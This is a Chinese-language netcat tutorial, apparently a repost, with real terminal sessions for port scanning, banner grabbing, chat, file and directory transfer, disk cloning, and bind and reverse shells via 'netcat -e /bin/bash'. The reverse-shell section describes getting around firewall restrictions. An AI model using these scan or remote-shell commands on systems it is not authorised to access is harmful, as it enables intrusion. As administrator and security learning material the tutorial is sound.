Netcat詳解


Linux netcat 命令實例:

1,端口掃描

端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -z -v -n 47.111.232.59 200-10000
47.111.232.59 3306 (mysql) open
47.111.232.59 6379 open
47.111.232.59 7190 open
[root@iZbp143t3oxhfc3ar7jey0Z ~]# 
可以運行在TCP或者UDP模式,默認是TCP,-u參數調整為udp.

z 參數告訴netcat使用0 IO,連接成功后立即關閉連接, 不進行數據交換(謝謝@jxing 指點)

v 參數指使用冗余選項(譯者注:即詳細輸出)

n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名

這個命令會打印200到10000 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑒別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -v 47.111.232.59 22
47.111.232.59 22 (ssh) open
SSH-2.0-OpenSSH_7.4

Protocol mismatch.
[root@iZbp143t3oxhfc3ar7jey0Z ~]# 

2 Chat Server

假如你想和你的朋友聊聊,有很多的軟件和信息服務可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計算機實驗室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要創建一個Chat服務器,一個預先確定好的端口,這樣子他就可以聯系到你了。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 666
wewq
qwqwwrwer

ert


ert

netcat 命令在1567端口啟動了一個tcp 服務器,所有的標准輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。

Client

[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 666
47.111.232.59 666 (mdqs) open
wewq
qwqwwrwer

ert


ert
不管你在機器B上鍵入什么都會出現在機器A上。

3,文件傳輸

大部分時間中,我們都在試圖通過網絡或者其他工具傳輸文件。有很多種方法,比如FTP,SCP,SMB等等,但是當你只是需要臨時或者一次傳輸文件,真的值得浪費時間來安裝配置一個軟件到你的機器上嘛。假設,你想要傳一個文件file.txt 從A 到B。A或者B都可以作為服務器或者客戶端,以下,讓A作為服務器,B為客戶端。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# vim aaa.text
[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888  < aaa.text
^C[root@iZbp143t3oxhfc3ar7jey0Z ~]#
Client
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 > aaa.text
47.111.232.59 888 (cddbp) open
[root@iZ1la3d1xbmukrZ ~]# ll
total 732
-rw-r--r--  1 root root     65 Mar 16 16:05 aaa.text
-rw-r--r--  1 root root 279331 Mar 11 19:47 err_20190907.log
-rw-r--r--  1 root root      0 Mar 16 11:09 file.txt
-rw-r--r--  1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz
-rw-r--r--  1 root root  55403 Mar 11 19:51 two-file-merge
drwxr-xr-x 13 root root   4096 Mar  3 18:03 utils
[root@iZ1la3d1xbmukrZ ~]#
這里我們創建了一個服務器在A上並且重定向netcat的輸入為文件aaa.txt,那么當任何成功連接到該端口,netcat會發送file的文件內容。

在客戶端我們重定向輸出到aaa.txt,當B連接到A,A發送文件內容,B保存文件內容到aaa.txt.

沒有必要創建文件源作為Server,我們也可以相反的方法使用。像下面的我們發送文件從B到A,但是服務器創建在A上,這次我們僅需要重定向netcat的輸出並且重定向B的輸入文件。

B作為Server

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -l -p 888 > aaa.text
^Z
[8]+  Stopped                 netcat -l -p 888 > aaa.text
[root@iZbp143t3oxhfc3ar7jey0Z ~]# ll
total 801416
-rw-r--r-- 1 root  root         65 Mar 16 16:09 aaa.text
-rw------- 1 root  root  500336640 Feb 21 22:15 elasticsearch.tar
-rw-r--r-- 1 root  root          0 Mar 16 11:10 file.txt
drwxr-xr-x 4 root  root       4096 Mar  3 13:57 littleTools
drwxr-xr-x 2 root  root       4096 Feb 17 21:39 mysql-5.6.35-linux-glibc2.5-x86_64
-rw-r--r-- 1 root  root  314581668 Feb 17 21:38 mysql-5.6.35-linux-glibc2.5-x86_64.tar.gz
-rw-r--r-- 1 root  root     398872 Mar 16 00:29 netcat-0.7.1.tar.gz
drwxrwxr-x 5 test1 test1      4096 Feb 21 19:41 ngx_openresty-1.9.7.1
-rw-r--r-- 1 root  root    3548444 Dec 25  2015 ngx_openresty-1.9.7.1.tar.gz
-rw-r--r-- 1 root  root       1062 Mar  6 00:07 passwd
drwxrwxr-x 6 root  root       4096 Mar 16 14:01 redis-4.0.12
-rw-r--r-- 1 root  root    1740544 Dec 12  2018 redis-4.0.12.tar.gz
[root@iZbp143t3oxhfc3ar7jey0Z ~]#

Client

[root@iZ1la3d1xbmukrZ ~]# ll
total 732
-rw-r--r--  1 root root     65 Mar 16 16:05 aaa.text
-rw-r--r--  1 root root 279331 Mar 11 19:47 err_20190907.log
-rw-r--r--  1 root root      0 Mar 16 11:09 file.txt
-rw-r--r--  1 root root 398872 Mar 16 00:53 netcat-0.7.1.tar.gz
-rw-r--r--  1 root root  55403 Mar 11 19:51 two-file-merge
drwxr-xr-x 13 root root   4096 Mar  3 18:03 utils
[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.59 888 < aaa.text
47.111.232.56 888 (cddbp) open

^Z
[4]+  Stopped                 netcat -nv 47.111.232.59 888 < aaa.text
[root@iZ1la3d1xbmukrZ ~]#

 

4,目錄傳輸

發送一個文件很簡單,但是如果我們想要發送多個文件,或者整個目錄,一樣很簡單,只需要使用壓縮工具tar,壓縮后發送壓縮包。

如果你想要通過網絡傳輸一個目錄從A到B。

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]#  tar cvf - /root/ |  netcat -lp 6666
tar: Removing leading `/' from member names
/root/
/root/.viminfo
/root/redis-4.0.12/
/root/redis-4.0.12/sentinel.conf
/root/redis-4.0.12/MANIFESTO
/root/redis-4.0.12/00-RELEASENOTES
/root/redis-4.0.12/INSTALL
/root/redis-4.0.12/utils/
/root/redis-4.0.12/utils/hashtable/
/root/redis-4.0.12/utils/hashtable/README
/root/redis-4.0.12/utils/hashtable/rehashing.c
/root/redis-4.0.12/utils/generate-command-help.rb
/root/redis-4.0.12/utils/whatisdoing.sh
/root/redis-4.0.12/utils/install_server.sh
/root/redis-4.0.12/utils/lru/
/root/redis-4.0.12/utils/lru/README

Client

[root@iZ1la3d1xbmukrZ ~]# netcat -nv 47.111.232.56 6666 | tar -xvf -
47.111.232.56 6666 (ircu-2) open
root/
root/.viminfo
root/redis-4.0.12/
root/redis-4.0.12/sentinel.conf
root/redis-4.0.12/MANIFESTO
root/redis-4.0.12/00-RELEASENOTES
root/redis-4.0.12/INSTALL
root/redis-4.0.12/utils/
root/redis-4.0.12/utils/hashtable/
root/redis-4.0.12/utils/hashtable/README
root/redis-4.0.12/utils/hashtable/rehashing.c
root/redis-4.0.12/utils/generate-command-help.rb
root/redis-4.0.12/utils/whatisdoing.sh
root/redis-4.0.12/utils/install_server.sh
root/redis-4.0.12/utils/lru/
root/redis-4.0.12/utils/lru/README
root/redis-4.0.12/utils/lru/test-lru.rb
root/redis-4.0.12/utils/lru/lfu-simulation.c
root/redis-4.0.12/utils/hyperloglog/
root/redis-4.0.12/utils/hyperloglog/hll-gnuplot-graph.rb
root/redis-4.0.12/utils/hyperloglog/hll-err.rb

 

這里在A服務器上,我們創建一個tar歸檔包並且通過-在控制台重定向它,然后使用管道,重定向給netcat,netcat可以通過網絡發送它。

在客戶端我們下載該壓縮包通過netcat 管道然后打開文件。

5. 加密你通過網絡發送的數據

如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。

服務端

[root@iZbp143t3oxhfc3ar7jey0Z ~]# !567
netcat -l -p 7777 | mcrypt -F -b -d -m ecb > file.txt
Enter passphrase:
Stdin was decrypted.
[root@iZbp143t3oxhfc3ar7jey0Z ~]# less file.txt
[root@iZbp143t3oxhfc3ar7jey0Z ~]#
使用mcrypt工具加密數據。

客戶端

[root@iZ1la3d1xbmukrZ ~]# !260
mcrypt -F  -b -m ecb < file.txt | nc 47.111.232.59  7777
Enter the passphrase (maximum of 512 characters)
Please use a combination of upper and lower case letters and numbers.
Enter passphrase:
Enter passphrase:

Stdin was encrypted.
^C[root@iZ1la3d1xbmukrZ ~]#

 

使用mcrypt工具解密數據。

以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。

這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

6. 流視頻

雖然不是生成流視頻的最好方法,但如果服務器上沒有特定的工具,使用netcat,我們仍然有希望做成這件事。

服務端

$cat video.avi | nc -l 1567
這里我們只是從一個視頻文件中讀入並重定向輸出到netcat客戶端
$nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -

這里我們從socket中讀入數據並重定向到mplayer。

7,克隆一個設備

如果你已經安裝配置一台Linux機器並且需要重復同樣的操作對其他的機器,而你不想在重復配置一遍。不在需要重復配置安裝的過程,只啟動另一台機器的一些引導可以隨身碟和克隆你的機器。

克隆Linux PC很簡單,假如你的系統在磁盤/dev/sda上

nc -lp 6666 | dd of=/dev/sda
dd if=/dev/sda | nc -nv 192.168.228.128 6666 -q 1

 

dd是一個從磁盤讀取原始數據的工具,我通過netcat服務器重定向它的輸出流到其他機器並且寫入到磁盤中,它會隨着分區表拷貝所有的信息。但是如果我們已經做過分區並且只需要克隆root分區,我們可以根據我們系統root分區的位置,更改sda 為sda1,sda2.等等。

8,打開一個shell

我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。

假設你的netcat支持 -c -e 參數(默認 netcat)

Server

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666 -e /bin/bash
Client
[root@iZ1la3d1xbmukrZ ~]# netcat 47.111.232.59 6666






ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.123.216  netmask 255.255.240.0  broadcast 172.16.127.255
        ether 00:16:3e:0b:f2:bf  txqueuelen 1000  (Ethernet)
        RX packets 636058  bytes 247705075 (236.2 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 608869  bytes 826533682 (788.2 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4655  bytes 306659 (299.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4655  bytes 306659 (299.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

反向shell

反向shell是指在客戶端打開的shell。反向shell這樣命名是因為不同於其他配置,這里服務器使用的是由客戶提供的服務。

服務端

[root@iZbp143t3oxhfc3ar7jey0Z ~]# netcat -lp 6666
ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:c5:b4:18:cb  txqueuelen 0  (Ethernet)
        RX packets 31452387  bytes 5313218458 (4.9 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 33492479  bytes 6315370860 (5.8 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.16.25.74  netmask 255.255.240.0  broadcast 172.16.31.255
        ether 00:16:3e:08:40:fa  txqueuelen 1000  (Ethernet)
        RX packets 30303620  bytes 6481329360 (6.0 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26228556  bytes 4668743630 (4.3 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 163463160  bytes 26666833214 (24.8 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 163463160  bytes 26666833214 (24.8 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethe65aec6: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 4e:f9:ea:3a:7e:a3  txqueuelen 0  (Ethernet)
        RX packets 19480  bytes 3518326 (3.3 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 23262  bytes 41465037 (39.5 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethf4f2f6c: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 8e:9d:11:5c:82:fd  txqueuelen 0  (Ethernet)
        RX packets 1130545  bytes 171517935 (163.5 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 807685  bytes 101598002 (96.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethfcc843e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether 7a:4e:7f:0d:21:02  txqueuelen 0  (Ethernet)
        RX packets 30281186  bytes 5569733890 (5.1 GiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 32637940  bytes 6134190483 (5.7 GiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

cd /
ls
bin
boot
dev
etc
home
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
some
srv
sys
tmp
usr
var
wgr
ll
/bin/bash: line 4: ll: command not found
ls -l
total 84
lrwxrwxrwx.   1 root root     7 Jul 11  2019 bin -> usr/bin
dr-xr-xr-x.   5 root root  4096 Feb 24 20:14 boot
drwxr-xr-x   19 root root  2960 Feb 27 00:18 dev
drwxr-xr-x.  85 root root 12288 Mar 16 17:36 etc
drwxr-xr-x.   3 root root  4096 Mar 12 22:40 home
lrwxrwxrwx.   1 root root     7 Jul 11  2019 lib -> usr/lib
lrwxrwxrwx.   1 root root     9 Jul 11  2019 lib64 -> usr/lib64
drwx------.   2 root root 16384 Jul 11  2019 lost+found
drwxr-xr-x.   2 root root  4096 Apr 11  2018 media
drwxr-xr-x.   2 root root  4096 Apr 11  2018 mnt
drwxr-xr-x.   8 root root  4096 Mar  8 15:35 opt
dr-xr-xr-x  160 root root     0 Feb 27 00:18 proc
dr-xr-x---.   9 root root  4096 Mar 16 18:05 root
drwxr-xr-x   29 root root  1000 Mar 16 17:36 run
lrwxrwxrwx.   1 root root     8 Jul 11  2019 sbin -> usr/sbin
drwxr-xr-x    3 root root  4096 Mar  3 16:22 some
drwxr-xr-x.   2 root root  4096 Apr 11  2018 srv
dr-xr-xr-x   13 root root     0 Mar  3 16:47 sys
drwxrwxrwt.   9 root root 12288 Mar 16 17:36 tmp
drwxr-xr-x.  13 root root  4096 Jul 11  2019 usr
drwxr-xr-x.  19 root root  4096 Jul 11  2019 var
drwxr-xr-x    2 root root  4096 Mar  8 22:30 wgr
在客戶端,簡單地告訴netcat在連接完成后,執行shell。

客戶端

[root@iZ1la3d1xbmukrZ ~]#  netcat 47.111.232.59 6666 -e /bin/bash 
現在,什么是反向shell的特別之處呢 
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址為172.31.100.7,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這台機器如1.2.3.4的shell,那么我會用反向外殼用於這一目的。 
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM